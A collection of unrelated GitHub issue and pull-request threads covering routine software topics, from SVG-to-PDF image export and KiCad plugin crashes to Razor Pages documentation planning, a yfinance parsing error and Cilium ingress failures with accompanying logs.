Images are removed while exporting as pdf

Please provide a code sample or description of the issue.

var svg = d3
.select("body")
.append("svg")
.attr("id", "svg")
.attr("width", 200)
.attr("height", 200)
.append("image")
.attr("xlink:href", "https://i.stack.imgur.com/NVExJ.png")

function download() {
svgExport.downloadPdf(document.getElementById("svg"), "Circles and rectangles chart", {
pdfOptions: {
chartCaption: "Hi there.  This is a test chart caption. ",
},
});
}

The block1 is the script that has an image. I am trying to export the image using the downloadPdf method (block2) but the image is not showing up on the generated PDF.

This was on the roadmap (thanks for the reminder); I just finished working on it.  The new release of svg-export now supports exporting svg containing images. Please see the README for more info, and the demo for an example.

@sharonchoong
Can you please provide some examples for enabling allowCrossOriginImage

You would just set it to true. For example,
svgExport.downloadPdf(svgString, "chart title name", {
  width: 200,
  height: 200,
  allowCrossOriginImage: true
});

However, the image host server must also have allowed cross-origin access on their end.


Rakefile:84: Update copyright to 2022 in all files within the project (including license.txt)

The puzzle DEV-ea4c792a from #DEV has to be resolved:
https://github.com/dgroup/lazylead/blob/9ad5bd31ccc544b676d6cc8aed2456b094ecac06/Rakefile#L84-L84
The puzzle was created by Yurii Dubinka on 15-Feb-22.
role: DEV.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

The puzzle DEV-ea4c792a has disappeared from the source code, that's why I closed this issue.


card-group should accept multirow

I want to use card-group with multirow.
I want for example 20 cards that are displayed in ex 5 rows (4 items per row) on lg and 10 rows (2 items per row) on md.
First and last item in a row should have rounded borders.
Is it possible? Will it be possible?

I would like this functionality also.

I could really use this functionality

With utilities and a bit of custom CSS, this is definitely possible. I won't be adding anything to the project core for this though at this time.


Consistent errors

It would be nice to have more consistent errors from the client.
At the moment an error could be an Error object or it could be just a simple object with { status, message, code }.
This makes it difficult to work with the errors the client returns. If you want errors with a status code maybe you should have a look at Boom, the objects Boom returns are proper errors but also preserve the HTTP information.

We added custom errors model to version 2.0.0 of library which supports now this


Futures module

Fixes #4576.

Note that I haven't yet changed any file paths or formatted any files. Doing that now.

This is now nearing a point where it looks usable. Summary:

As usual it's mostly headers that have changed locations.
Git considers some of the traits files to have been deleted and added, instead of moved (because the formatting changes them enough to make them look like new files). They are unchanged though besides the formatting.
packaged_continuation gained a spawner argument for its attach, async_impl etc. functions. The spawner takes care of launching. The helper functions make_continuation* which supply the spawner moved to the execution module.
future_data_base gained a handler that can be set for reporting exceptions in run_on_completed. This removes the dependency on the runtime (custom_exception_info). It calls std::terminate if the handler isn't set.

I should note that serialize_exception is still a dependency from the main library. I'm not sure what to do with it yet and will deal with that in a separate PR.

future_data_base gained a handler that can be set for reporting exceptions in run_on_completed. This removes the dependency on the runtime (custom_exception_info). It calls std::terminate if the handler isn't set.

@msimber: may I suggest to just throw a std::runtime_exception instead of calling std::terminate if the handler is not set? I could envision situations in the future where somebody wanted to use hpx::future outside of the runtime and would be very surprised needing to set that handler explicitly.

The execution customization points moved to basic_execution as they're lower level than async, apply and friends. (Side note: maybe basic_execution should be execution_base...)

I'd agree to the renaming. We should probably do a global sweep through the names at some point...

future_data_base gained a handler that can be set for reporting exceptions in run_on_completed. This removes the dependency on the runtime (custom_exception_info). It calls std::terminate if the handler isn't set.

@msimber: may I suggest to just throw a std::runtime_exception instead of calling std::terminate if the handler is not set? I could envision situations in the future where somebody wanted to use hpx::future outside of the runtime and would be very surprised needing to set that handler explicitly.

Good idea. Perhaps even just rethrow the exception that was just caught?

I've just fixed the inspect errors on this one. This should be good to go now.

@hkaiser if you'd like to prioritize reviewing, this one should go before all the newer half-baked PRs that I've opened.


Investigate OpenAlex multiple Authors for an ORCID

Logs for the openalex_harvest_dois task show that there are sometimes multiple authors returned for an ORCID. The code currently proceeds to look up  authors for the first author returned.
Example warning:
found more than one openalex author id for 0000-0001-7586-8240
The lookup for the ORCID above returns authors https://openalex.org/A5013127948 and https://openalex.org/A5102787736. The second author ID only has 7 works.

Those two author ids seem to be the same person. You wrote: "The code currently proceeds to look up authors for the first author returned." Did you mean: "The code currently proceeds to look up publications for the first author returned."? If so, that might be reasonable. Maybe we should look into the logs to see how often this happens and make the code harvest for all authors but it may not be worth the effort.

Oops, yes, I meant "look up DOIs for the first author". I edited the issue.
Agree, let's see how many and do some analysis on how this changes the DOI set depending on how we handle it.


Kicad 8.99 does crash

With Application: KiCad Version: 8.99.0-unknown-cd27f801f6~177~ubuntu22.04.1
When starting the plugin, it crashes KiCad.
PCWway plugin has similar issue with KiCad 8.99, and they have revolved. Maybe if the team from the JLCPCB plugin fabrication tool kit can look how the other team (Link) implemented some simple changes with their plugin for KiCad V8.99, that would help, I hope.
I love to get this plugin working like the PCBWay plugin work snow with KiCad.
Warm Regards,
Rob Oudendijk

I am not planning to support nightly versions of KiCad.
I have checked the link and did not see any major change.
I have added a patch to hopefully fix the issue, but if it would not, I will address it once the stable release of KiCad 9 will be released.

I downloaded the master zip file and tried to add it as the plugin. Tried to install it but get install error.
What to do?

Download the 4.1.0 release and replace (in the zip) the utils.py file with the new one from master

Download the 4.1.0 release and replace (in the zip) the utils.py file with the new one from master

Thanks Benny.  4.1.0 still crashed, but manually putting in utils.py from 0917e9f worked for me.

Fixed in 4.2.0


ci: upgrading semantic_version

upgrading semantic version to fix the ever running semantic release stpe

:tada: This PR is included in version 1.6.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


check_irods_files Identifies too many resources

@alvacouch The check_irods_files management command misidentifies resources as not in sync between iRODS and Django as a result of including meta.xml and resmap.xml files in results. The command may also end in a non-zero exit code when detecting any inconsistencies between iRODS and Django. Thus when the command is used in a Jenkins job, it always appears to fail. We need this command to work for disaster recovery purposes which need to be completed relatively soon. It would also be good if there were options for the command to simply return a list of resources in iRODS but not Django and vice versa. In order to use the output for disaster recovery automation, there is significant noise in the output to have to parse. Not sure what the right output should be because not sure yet if upcoming bag ingestion semantics will allow for granularity of what files in a bag a re-ingested. Possibly check with @sblack-usu, @horsburgh @dtarb.

I can look into this and try to work it out. There is a check for aggregation XML files, but it doesn't look like it's working.  https://github.com/hydroshare/hydroshare/blob/develop/hs_core/management/utils.py#L261


Investigate Changes needed for Ekportisto to support optional 3 extra transaction fields

Blockchain is investigating making Celo's 3 extra transaction fields optional. We should have a sense of how much work needs to be done and the touchpoints for ensuring Ekportisto doesn't break for transactions not including these fields.

Eksportisto does not index these 3 transaction fields anywhere
The only potential friction point is when tracing internal transfers, but this work is delegated to kliento's debug module


Add some documentation about configurations and hooks in Razor Pages

The current set of Razor Pages articles talk about using Razor Pages which is great. But we have several features that would be useful to document:

Applying authorization filters via conventions - AllowAnonymousToPage, AllowAnonymousToFolder, AuthorizePage, AuthorizeFolder
AddPageRoute to do custom routes to pages
Using IPageApplicationModelProvider, IPageRouteModelProvider. Similar components for controllers are documented here - https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/application-model.

Samples

AllowAnonymousToPage, AllowAnonymousToFolder, AuthorizePage, AuthorizeFolder
AddPageRoute
https://github.com/aspnet/Mvc/blob/bac68ba3c225b116d5be5ac1a1383d6bad053bf6/test/WebSites/RazorPagesWebSite/Startup.cs
IPageApplicationModelProvider
https://github.com/aspnet/Entropy/tree/dev/samples/Mvc.CustomRazorPageHandlers
IPageRouteModelProvider
? @pranavkm Are only ref source and tests available?

I don't think we have one. @sebastienros was asking about this for Orchard. Perhaps he's got one.

@pranavkm  any chance you could write a sample app showing these and stub out a document?

Using IPageApplicationModelProvider, IPageRouteModelProvider. Similar components for controllers are documented here - https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/application-model.

see IApplicationModelProvider in Working with the Application Model, but thers is no IPageRouteModelProvider Similar components.
When this is started, set up a meeting with @ pranavkm  to get an outline, etc.

@Rick-Anderson For planning purposes (I'll be digging into this mid to late next week):
Proposal: How about two samples and four topics in the aspnetcore/mvc/razor-pages/ area?

Titles
Subjects
Sample

Razor Page conventions for authorization filters in ASP.NET Core
AllowAnonymousToPage, AllowAnonymousToFolder, AuthorizePage, AuthorizeFolder
1

Razor Page custom routes in ASP.NET Core
AddPageRoute
1

Customizing the Razor Pages page model provider in ASP.NET Core
IPageApplicationModelProvider
2

Customizing the Razor Pages route model provider in ASP.NET Core
IPageRouteModelProvider
2

When this is started, set up a meeting with @ pranavkm to get an outline, etc.

The first two seem clear/easy. On the last two ... yes, plz ... to insure I don't miss something important from only looking at ref source and existing samples, outlines (or even just lists of section subjects) will be helpful.
RE: IPageRouteModelProvider sample

There's a bit to go on:

https://github.com/aspnet/Mvc/blob/8df30325407be3d3c30c850e6f63b1d2969b1dea/test/Microsoft.AspNetCore.Mvc.RazorPages.Test/Infrastructure/PageActionDescriptorProviderTest.cs#L220-L242
https://github.com/aspnet/Mvc/blob/8df30325407be3d3c30c850e6f63b1d2969b1dea/src/Microsoft.AspNetCore.Mvc.RazorPages/ApplicationModels/IPageRouteModelProvider.cs

... but sure ... a little dev team sample would be sweet. If there were a delay on a IPageRouteModelProvider sample, I can hit the first three topics and get them done and come back to the fourth later (if u want this handled in four topics).

@Rick-Anderson Referring to what I reorganized from the call, the first two will be combined and the last two will be combined ...

Titles
Subjects
Sample

Razor Page conventions for authorization filters in ASP.NET Core
AllowAnonymousToPage, AllowAnonymousToFolder, AuthorizePage, AuthorizeFolder
1

Customizing the Razor Pages page model provider in ASP.NET Core
IPageApplicationModelProvider
1

Razor Page custom routes in ASP.NET Core
AddPageRoute
2

Customizing the Razor Pages route model provider in ASP.NET Core
IPageRouteModelProvider
2

On the first two, how about ...
Razor Page authorization and model provider in ASP.NET Core
... 59 characters right on the money.
The last two, perhaps ...
Razor Page custom routes and model provider in ASP.NET Core
... again, 59 characters.

Cool ... here we go then ...

Titles
Subjects

Razor Page authorization and model provider in ASP.NET Core
AllowAnonymousToPageAllowAnonymousToFolderAuthorizePageAuthorizeFolderIPageApplicationModelProvider

Razor Page custom routes and model provider in ASP.NET Core
AddPageRouteIPageRouteModelProvider

Each with its own sample. I don't want to overload a single sample with everything here. That would be quite a bit. We don't want to trigger The Music Store Effect ... that's a real thing! lol
I'll start the first one now. With a little luck, we should have something nice to look at Monday or Tuesday of next week. :rocket:

@pranavkm I pinged u on Slack (a DM) with a quick question. https://aspnetcore.slack.com

@pranavkm Here's the current outline. I have a final (important) question on how much theory this topic should have at the bottom of this comment.
Title: Razor Pages custom route and page model providers in ASP.NET Core

Introduction

A few lines that explain the subject of the topic.
TBD Theory of models and providers
Link to the sample app. List the features that the sample app demos. Link this mini-TOC to the section headers in the topic where these features are described. Should make it a little easier to move around. This topic is 🍖 meaty 🍖.

Add route and application model conventions

Add a global route attribute to all pages

Use Conventions to create and add an IPageRouteModelConvention to the collection of IPageConvention instances that are applied during route and page model construction.
Sample demo: Add {globalAttribute?} to the attribute route model of all pages.

Add a global header to all pages

Use Conventions to create and add an IPageApplicationModelConvention to the collection of IPageConvention instances that are applied during route and page model construction.
Sample demo: Add a GlobalHeader header to the responses for any page request in the app.

Page route model provider

TBD Additional theory on route model providers and definitions
List the built-in internal providers (note that conventions should be used)
Page route action conventions

AddFolderRouteModelConvention

Use AddFolderRouteModelConvention to create and add an IPageRouteModelConvention that invokes an action on the PageRouteModel for all pages under the specified folder.
Sample demo: Add {otherPagesAttribute?} to the attribute route model of all pages in the sample's OtherPages folder.

AddPageRouteModelConvention

Use AddPageRouteModelConvention to create and add an IPageRouteModelConvention that invokes an action on the PageRouteModel for the page with the speciifed name.
Sample demo: Add {aboutAttribute?} to the attribute route model of the About page.

Page application model provider

TBD Additional theory on app model providers and definitions
List the built-in internal providers (note that conventions should be used)
Page model action conventions

Show an AddHeaderAttribute class that the sample uses to add a header to responses. This class is used in the sample demos that follow.
AddFolderApplicationModelConvention

Use AddFolderApplicationModelConvention to create and add an IPageApplicationModelConvention that invokes an action on PageApplicationModel instances for all pages under the specified folder.
Sample demo: Add an OtherPagesHeader header to the responses for any page request from the OtherPages folder of the app.

AddPageApplicationModelConvention

Use AddPageApplicationModelConvention to create and add an IPageApplicationModelConvention that invokes an action on the PageApplicationModel for the page with the speciifed name.
Sample demo: Add an AboutHeader header to the response for the About page.

ConfigureFilter

ConfigureFilter configures the specified factory to apply filters to all Razor Pages. You can supply a Func<PageApplicationModel, IFilterMetadata> factory to an overload of the method.
Sample demo: Add a pair of FilterFactoryHeader headers with a AddHeaderWithFactoryAttribute factory class to all responses from the app.

Change the DefaultPageApplicationModelProvider

Describe the ordinary OOB experience (the conventions for handler naming and request processing). Although this is generally described in the Razor Pages topic (at the bottom of this section), the implementation to change it here requires more detail on how the OOB named and unnamed handler names work (also, I don't want to require the reader to go look at something else right in the middle of reading this topic).
Suggest an alternative scheme where "On" is dropped; the first word segment is used to determine the HTTP verb; and DELETE, PUT, and PATCH verbs are converted into POSTs. (:point_left: a version of your, @pranavkm, Entropy sample)
Sample demo: Override the CreateHandlerModel method to show the implmentation of the new scheme.
Describe (but don't demo) additional control opportunities in CreateHandlerModel

Replace IsHandler to change handler method determination
Interact with model parameters as they're added to the handler model's parameter collection.
Override CreateModel to supply custom logic for creating a PageApplicationModel for the given PageActionDescriptor and pageTypeInfo.

I'm working on the more theoretical bits (where I marked "TBD") ... along the lines of what Steve did in the app model topic for MVC, where he speaks to Models and Providers and IApplicationModelProvider.
This is a good time to discuss how much theory on models and providers should appear: A web dev prob doesn't care too much about the theory. They probably want to know what the feature is, what can they use it for, and how do they implement it.
I'm fearful that if I put much theory (even the low-level, overview amount of theory that Steve put into the app model topic) that the VERY useful content in this topic (the convention implementations) won't surface well because potential readers will think the topic is just theory or only for edge cases.
One possibility here is that I submit the first draft with virtually no theory and keep it focused on features and implementation (just like I did for Razor Pages auth and custom routing topic (links to internal review topic; aspnet/docs 4584). If so, I'd like to go with a different title that ... well ... frankly ... makes the conventions sound as useful as they actually are. :+1:


Add flashthemes.net

Seriously, I made a mistake making an account there.

HI @SlytherTheUndertaker this repository has been abandoned years ago. Check out our forked and maintained one at https://github.com/jdm-contrib/jdm
Note that we don't take requests to provide deletion steps though


Only top-level component CSS is written when using cache

When compiling a component hierarchy, the CSS passed to the css option function contains the CSS for the top-level component and all child components (as expected).  If the cache option is given however (value obtained from the previous rollup.rollup bundle .cache property), only the top-level component's CSS is passed.

Just checked and this seems to be because I'm using the .code of the passed CssWriter directly, not calling css.write("file.css") as shown in the examples.

To reproduce:
Parent.svelte:

	Parent
	<Child/>

Child.svelte:

	Child

Js:
let rollup = require("rollup");
let svelte = require("rollup-plugin-svelte");
let resolve = require("rollup-plugin-node-resolve");

async function compile(path, cache) {
	let css;

	let inputOptions = {
		input: path,
		cache,
		plugins: [
			svelte({
				generate: "ssr",

				css: function({code}) {
					css = code;
				},
			}),

			resolve({
				browser: true
			}),
		],
	};

	let bundle = await rollup.rollup(inputOptions);

	await bundle.generate({
		format: "cjs"
	});

	return {
		cache: bundle.cache,
		css,
	};
}

(async function() {
	let {cache, css} = await compile("./Parent.svelte", null);

	console.log(css);

	let newCss = (await compile("./Parent.svelte", cache)).css;

	console.log(newCss);
})();

The second output is actually an empty string here, so maybe the issue is that any CSS that hasn't been changed, doesn't get included in the output.

In case anyone else comes across this issue, I have worked around it by using client-side CSS in development.  Since this only affects caching, which is only for development, you can still have client-side CSS turned off in prod, so not that big of an issue (just slightly larger build and a FOUC in dev).


AttributeError: 'NoneType' object has no attribute 'group'

IMPORTANT
If you want help, you got to read this first, follow the instructions.
Are you up-to-date? Y
Upgrade to the latest version and confirm the issue/bug is still there.
$ pip install yfinance --upgrade --no-cache-dir
Confirm by running:
import yfinance as yf ; print(yf.__version__) -- 0.2.12
and comparing against PIP.
Does Yahoo actually have the data? Yes
Are you spelling ticker exactly same as Yahoo? Yes
Then visit finance.yahoo.com and confirm they have the data you want. Maybe your ticker was delisted, or your expectations of yfinance are wrong.
Are you spamming Yahoo?
Yahoo Finance free service has rate-limiting depending on request type - roughly 60/minute for prices, 10/minute for info. Once limit hit, Yahoo can delay, block, or return bad data. Not a yfinance bug.
Still think it's a bug?
Delete this default message (all of it) and submit your bug report here, providing the following as best you can:

Simple code that reproduces your problem, that we can copy-paste-run :
import time
import yfinance as yf

ticker = "AAPL"
time.sleep(1)  # Add a delay before fetching the data
stock = yf.Ticker(ticker)
time.sleep(1)  # Add a delay before accessing the financials
income_statement = stock.financials
print(f"Income Statement for {ticker}:")
print(income_statement)

Exception message with full traceback, or proof yfinance returning bad data

re_data = json.loads(re.search("root.App.main\s+=\s+(\{.*\})", re_script).group(1))

AttributeError: 'NoneType' object has no attribute 'group'

yfinance version and Python version : Python 3.10.10 & 0.2.12
Operating system type - windows 11

0.2.12

Old version

@ValueRaider Reproducible in 0.2.14. Exactly the same error.

@cybernkotb Provide the FULL traceback, that error shouldn't happen. Instead you should see this #1407


Cilium Ingress stops working after a certain period of time

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
Cilium Ingress stops working properly after a certain period of time. This delay can be either days or hours. I don't understand what triggers this behavior.
I'm getting an HTTP 500 error in the browser

If I port-forward to the service used by Cilium Ingress from the application, everything works correctly. That's why I deduce that the problem comes from ingress.
When I execute the following commands, it works again, until the problem comes back again:
kubectl -n kube-system rollout restart deployment/cilium-operator
kubectl -n kube-system rollout restart ds/cilium

and i also need to remove all CiliumEndpoints from all namespaces. Because cilium status gives me the following errors:

Cilium Version
cilium-cli: v0.15.11 compiled with go1.21.3 on linux/amd64
cilium image (default): v1.14.2
cilium image (stable): v1.14.5
cilium image (running): 1.14.5
Kernel Version
Linux: 6.1.61

https://github.com/siderolabs/talos/releases/tag/v1.5.5

Kubernetes Version
Client Version: v1.28.2
Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3
Server Version: v1.28.4
Sysdump
File size too big: 25 MB are allowed, 118 MB were attempted to upload.
Here's a link to the dump
https://send.tresorit.com/a#SMSXwYWn_YoL1N9eoJYXFw
Relevant log output
No response
Anything else?

I see this in logs
Errors:                cilium             cilium-j4hpv    controller sync-lb-maps-with-k8s-services is failing since 6s (16x): Unable to remove service &{hash:��
%~ frontend:{L3n4Addr:{AddrCluster:{addr:{addr:{hi:0 lo:281470849515557} z:0xc000130018} clusterID:0} L4Addr:{Protocol:NONE Port:32283} Scope:0} ID:22} backends:[] backendByHash:map[] svcType:NodePort svcExtTrafficPolicy:Cluster svcIntTrafficPolicy:Cluster svcNatPolicy:NONE sessionAffinity:false sessionAffinityTimeoutSec:0 svcHealthCheckNodePort:0 svcName:{Namespace: Name: Cluster:} loadBalancerSourceRanges:[] l7LBProxyPort:0 l7LBFrontendPorts:[] LoopbackHostport:false restoredFromDatapath:true restoredBackendHashes:map[]}: Unable to delete service entry <IP_ADDRESS>:7038: unable to delete element <IP_ADDRESS>:32283 from map cilium_lb4_services_v2: delete: key does not exist
    cilium    cilium-pzrcv    controller sync-lb-maps-with-k8s-services is failing since 11s (17x): Unable to remove service &{hash:��
�� frontend:{L3n4Addr:{AddrCluster:{addr:{addr:{hi:0 lo:281470849515673} z:0xc000010030} clusterID:0} L4Addr:{Protocol:NONE Port:443} Scope:0} ID:29} backends:[] backendByHash:map[] svcType:LoadBalancer svcExtTrafficPolicy:Cluster svcIntTrafficPolicy:Cluster svcNatPolicy:NONE sessionAffinity:false sessionAffinityTimeoutSec:0 svcHealthCheckNodePort:0 svcName:{Namespace: Name: Cluster:} loadBalancerSourceRanges:[] l7LBProxyPort:0 l7LBFrontendPorts:[] LoopbackHostport:false restoredFromDatapath:true restoredBackendHashes:map[]}: Unable to delete service entry <IP_ADDRESS>:47873: unable to delete element <IP_ADDRESS>:443 from map cilium_lb4_services_v2: delete: key does not exist
    cilium    cilium          1 pods of DaemonSet cilium are not ready
    cilium    cilium-f2rwb    unable to retrieve cilium status: container cilium-agent is in CrashLoopBackOff, exited with code 1: level=fatal msg="failed to start: could not build arguments for function \"github.com/cilium/cilium/pkg/datapath/garp\".newGARPProcessor (/go/src/github.com/cilium/cilium/pkg/datapath/garp/processor.go:27): failed to build garp.Sender: received non-nil error from function \"github.com/cilium/cilium/pkg/datapath/garp\".newGARPSender (/go/src/github.com/cilium/cilium/pkg/datapath/garp/garp.go:23): gratuitous arp sender interface \"eth0\" not found: Link not found" subsys=daemon
    cilium    cilium-47stn    controller sync-lb-maps-with-k8s-services is failing since 15s (19x): Unable to remove service &{hash:��
v� frontend:{L3n4Addr:{AddrCluster:{addr:{addr:{hi:0 lo:281470849515541} z:0xc000010030} clusterID:0} L4Addr:{Protocol:NONE Port:30353} Scope:0} ID:95} backends:[] backendByHash:map[] svcType:NodePort svcExtTrafficPolicy:Cluster svcIntTrafficPolicy:Cluster svcNatPolicy:NONE sessionAffinity:false sessionAffinityTimeoutSec:0 svcHealthCheckNodePort:0 svcName:{Namespace: Name: Cluster:} loadBalancerSourceRanges:[] l7LBProxyPort:0 l7LBFrontendPorts:[] LoopbackHostport:false restoredFromDatapath:true restoredBackendHashes:map[]}: Unable to delete service entry <IP_ADDRESS>:37238: unable to delete element <IP_ADDRESS>:30353 from map cilium_lb4_services_v2: delete: key does not exist
    cilium    cilium-xshgx    controller sync-lb-maps-with-k8s-services is failing since 7s (19x): Unable to remove service &{hash:��
�P frontend:{L3n4Addr:{AddrCluster:{addr:{addr:{hi:0 lo:281470849515673} z:0xc000010030} clusterID:0} L4Addr:{Protocol:NONE Port:80} Scope:0} ID:23} backends:[] backendByHash:map[] svcType:LoadBalancer svcExtTrafficPolicy:Cluster svcIntTrafficPolicy:Cluster svcNatPolicy:NONE sessionAffinity:false sessionAffinityTimeoutSec:0 svcHealthCheckNodePort:0 svcName:{Namespace: Name: Cluster:} loadBalancerSourceRanges:[] l7LBProxyPort:0 l7LBFrontendPorts:[] LoopbackHostport:false restoredFromDatapath:true restoredBackendHashes:map[]}: Unable to delete service entry <IP_ADDRESS>:20480: unable to delete element <IP_ADDRESS>:80 from map cilium_lb4_services_v2: delete: key does not exist

I think that's the problem
2023-12-25T13:36:02.304189624Z level=info msg="Unable to refresh next hop" error="no such device" interface=eth0 ipAddr=<IP_ADDRESS> neighbor="{LinkIndex:8 Family:0 State:0 Type:0 Flags:16 FlagsExt:1 IP:<IP_ADDRESS> HardwareAddr: LLIPAddr:<nil> Vlan:0 VNI:0 MasterIndex:0}" nextHop=<IP_ADDRESS> subsys=node-neigh-debug
2023-12-25T13:36:02.304408666Z level=info msg="Unable to refresh next hop" error="no such device" interface=eth0 ipAddr=<IP_ADDRESS> neighbor="{LinkIndex:8 Family:0 State:0 Type:0 Flags:16 FlagsExt:1 IP:<IP_ADDRESS> HardwareAddr: LLIPAddr:<nil> Vlan:0 VNI:0 MasterIndex:0}" nextHop=<IP_ADDRESS> subsys=node-neigh-debug
2023-12-25T13:36:02.304574647Z level=info msg="Unable to refresh next hop" error="no such device" interface=eth0 ipAddr=<IP_ADDRESS> neighbor="{LinkIndex:8 Family:0 State:0 Type:0 Flags:16 FlagsExt:1 IP:<IP_ADDRESS> HardwareAddr: LLIPAddr:<nil> Vlan:0 VNI:0 MasterIndex:0}" nextHop=<IP_ADDRESS> subsys=node-neigh-debug
2023-12-25T13:36:02.304645797Z level=info msg="Unable to refresh next hop" error="no such device" interface=eth0 ipAddr=<IP_ADDRESS> neighbor="{LinkIndex:8 Family:0 State:0 Type:0 Flags:16 FlagsExt:1 IP:<IP_ADDRESS> HardwareAddr: LLIPAddr:<nil> Vlan:0 VNI:0 MasterIndex:0}" nextHop=<IP_ADDRESS> subsys=node-neigh-debug

Hey @chaunceyjiang / @joestringer  .  Apologies for the ping but do think this issue does require some additional visibility.  There appears to be a race condition where cilium services are not able to be deleted.  I have been creating/deleting a large amount of gateways/lloadbalancers for testing other MRs/features and encountered this issue.
All Kubernetes LoadBalancer and NodePort services were deleted.
kubectl get service -A -o custom-columns=NAME:.spec.type
NAME
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP
ClusterIP

Diving into one of the cilium daemonsets,
root@soquartz1:/home/cilium# cilium-dbg service list
ID     Frontend              Service Type   Backend
1      <IP_ADDRESS>:443         ClusterIP      1 => <IP_ADDRESS>:6443 (active)
2      <IP_ADDRESS>:80       ClusterIP      1 => <IP_ADDRESS>:8081 (active)
5      <IP_ADDRESS>:443        ClusterIP      1 => <IP_ADDRESS>:4244 (active)
6      <IP_ADDRESS>:80      ClusterIP      1 => <IP_ADDRESS>:4245 (active)
7      <IP_ADDRESS>:53         ClusterIP      1 => <IP_ADDRESS>:53 (active)
8      <IP_ADDRESS>:7000    ClusterIP      1 => <IP_ADDRESS>:7000 (active)
9      <IP_ADDRESS>:8081     ClusterIP      1 => <IP_ADDRESS>:8081 (active)
10     <IP_ADDRESS>:80      ClusterIP      1 => <IP_ADDRESS>:8080 (active)
11     <IP_ADDRESS>:443     ClusterIP      1 => <IP_ADDRESS>:8080 (active)
12     <IP_ADDRESS>:5556     ClusterIP      1 => <IP_ADDRESS>:5556 (active)
13     <IP_ADDRESS>:5557     ClusterIP      1 => <IP_ADDRESS>:5557 (active)
14     <IP_ADDRESS>:6379     ClusterIP      1 => <IP_ADDRESS>:6379 (active)
17     <IP_ADDRESS>:8080    ClusterIP      1 => <IP_ADDRESS>:8080 (active)
18     <IP_ADDRESS>:8081    ClusterIP      1 => <IP_ADDRESS>:8081 (active)
19     <IP_ADDRESS>:9443     ClusterIP      1 => <IP_ADDRESS>:9443 (active)
22     <IP_ADDRESS>:443     ClusterIP      1 => <IP_ADDRESS>:10250 (active)
31     <IP_ADDRESS>:80        ClusterIP      1 => <IP_ADDRESS>:8000 (active)
                                            2 => <IP_ADDRESS>:8000 (active)
32     <IP_ADDRESS>:9500    ClusterIP      1 => <IP_ADDRESS>:9500 (active)
                                            2 => <IP_ADDRESS>:9500 (active)
                                            3 => <IP_ADDRESS>:9500 (active)
33     <IP_ADDRESS>:9503      ClusterIP      1 => <IP_ADDRESS>:9503 (active)
                                            2 => <IP_ADDRESS>:9503 (active)
                                            3 => <IP_ADDRESS>:9503 (active)
34     <IP_ADDRESS>:9501     ClusterIP      1 => <IP_ADDRESS>:9501 (active)
                                            2 => <IP_ADDRESS>:9501 (active)
                                            3 => <IP_ADDRESS>:9501 (active)
35     <IP_ADDRESS>:9502     ClusterIP      1 => <IP_ADDRESS>:9502 (active)
                                            2 => <IP_ADDRESS>:9502 (active)
                                            3 => <IP_ADDRESS>:9502 (active)
48     <IP_ADDRESS>:443      ClusterIP      1 => <IP_ADDRESS>:10250 (active)
63     <IP_ADDRESS>:9443    ClusterIP      1 => <IP_ADDRESS>:9443 (active)
64     <IP_ADDRESS>:9443     ClusterIP      1 => <IP_ADDRESS>:9443 (active)
65     <IP_ADDRESS>:80       ClusterIP      1 => <IP_ADDRESS>:3000 (active)
66     <IP_ADDRESS>:9402      ClusterIP      1 => <IP_ADDRESS>:9402 (active)
67     <IP_ADDRESS>:443       ClusterIP      1 => <IP_ADDRESS>:10250 (active)
72     <IP_ADDRESS>:80      ClusterIP      1 => <IP_ADDRESS>:80 (active)
73     <IP_ADDRESS>:80       ClusterIP      1 => <IP_ADDRESS>:80 (active)
90     <IP_ADDRESS>:7979     ClusterIP      1 => <IP_ADDRESS>:7979 (active)
91     <IP_ADDRESS>:5432    ClusterIP      1 => <IP_ADDRESS>:5432 (active)
321    <IP_ADDRESS>:3456     ClusterIP      1 => <IP_ADDRESS>:3456 (active)
322    <IP_ADDRESS>:80      ClusterIP      1 => <IP_ADDRESS>:80 (active)
323    <IP_ADDRESS>:5432     ClusterIP      1 => <IP_ADDRESS>:5432 (active)
956    <IP_ADDRESS>:6379     ClusterIP      1 => <IP_ADDRESS>:6379 (active)
957    <IP_ADDRESS>:9300     ClusterIP      1 => <IP_ADDRESS>:9300 (active)
958    <IP_ADDRESS>:80       ClusterIP      1 => <IP_ADDRESS>:9000 (active)
1254   <IP_ADDRESS>:80       LoadBalancer
1255   <IP_ADDRESS>:443      LoadBalancer
1462   <IP_ADDRESS>:8008     ClusterIP      1 => <IP_ADDRESS>:8008 (active)
1463   <IP_ADDRESS>:8080     ClusterIP      1 => <IP_ADDRESS>:8080 (active)
1464   <IP_ADDRESS>:9090     ClusterIP      1 => <IP_ADDRESS>:9090 (active)
1465   <IP_ADDRESS>:9090       ClusterIP      1 => <IP_ADDRESS>:9090 (active)
1466   <IP_ADDRESS>:8008       ClusterIP      1 => <IP_ADDRESS>:8008 (active)
1467   <IP_ADDRESS>:443        ClusterIP      1 => <IP_ADDRESS>:8443 (active)
1468   <IP_ADDRESS>:9090     ClusterIP      1 => <IP_ADDRESS>:9090 (active)
1469   <IP_ADDRESS>:8008     ClusterIP      1 => <IP_ADDRESS>:8008 (active)
1470   <IP_ADDRESS>:9090     ClusterIP      1 => <IP_ADDRESS>:9090 (active)
1471   <IP_ADDRESS>:8008     ClusterIP      1 => <IP_ADDRESS>:8008 (active)
1472   <IP_ADDRESS>:80       ClusterIP      1 => <IP_ADDRESS>:8012 (active)
1473   <IP_ADDRESS>:81       ClusterIP      1 => <IP_ADDRESS>:8013 (active)
1474   <IP_ADDRESS>:443      ClusterIP      1 => <IP_ADDRESS>:8112 (active)
1475   <IP_ADDRESS>:8080     ClusterIP      1 => <IP_ADDRESS>:8080 (active)
1619   <IP_ADDRESS>:31122   NodePort
